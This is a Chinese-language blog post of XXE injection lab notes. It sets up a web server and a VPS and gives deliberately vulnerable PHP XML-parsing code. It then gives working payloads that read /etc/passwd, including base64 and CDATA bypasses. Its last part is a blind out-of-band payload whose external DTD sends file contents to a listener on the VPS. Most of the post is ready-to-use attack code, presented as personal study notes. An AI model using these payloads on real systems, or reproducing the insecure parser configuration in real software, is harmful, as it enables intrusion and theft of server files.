XXE漏洞笔记

好记性不如烂笔头,关于XXE还是要记录下自己的学习过程,以后看起来会更清楚,详细原理不再多讲,简单做个实验记录下笔记以便使用。

实验环境
1
2
web服务器:10.12.10.198
VPS: 107.182.30.95
实验一:有回显读本地敏感文件(Normal XXE)

web服务器放置解析XML的php代码:

示例代码

xml.php

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

payload:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>

结果如下

mark

读取文件种可能会有特殊符号如&,<,>,",'等会导致读取失败,比如下面读取含有特殊字符文件2.txt失败:

mark

废话不多说,解决办法有两种:

  • 第一种:将读取文件使用base64编码即可

payload:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> ]>
<creds>&goodies;</creds>

结果如下

mark

  • 第二种:将读取数据放在CDATA中输出进行绕过

payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://107.182.30.95/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

服务器上放置evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

结果如下

mark

注意:读取文件时候要注意文件以及文件夹权限问题,否则会读取失败,记录下遇到的这个坑吧,在这浪费了不少时间,烧脑~

实验二:无回显读取本地敏感文件(Blind OOB XXE)

xml.php

1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

此处需要注意,因为实体值中不能有%,故需要将%转成&#37;或者&#x25;,即正确写法如下:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

或者:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://107.182.30.95/test.dtd">
%remote;%int;%send;
]>

在服务器监听端口,发送payload结果如下:

mark

mark


以上就是XXE基本利用方式总结笔记,当然XXE的危害还有很多,由于时间原因,暂不记录。

参考

1

2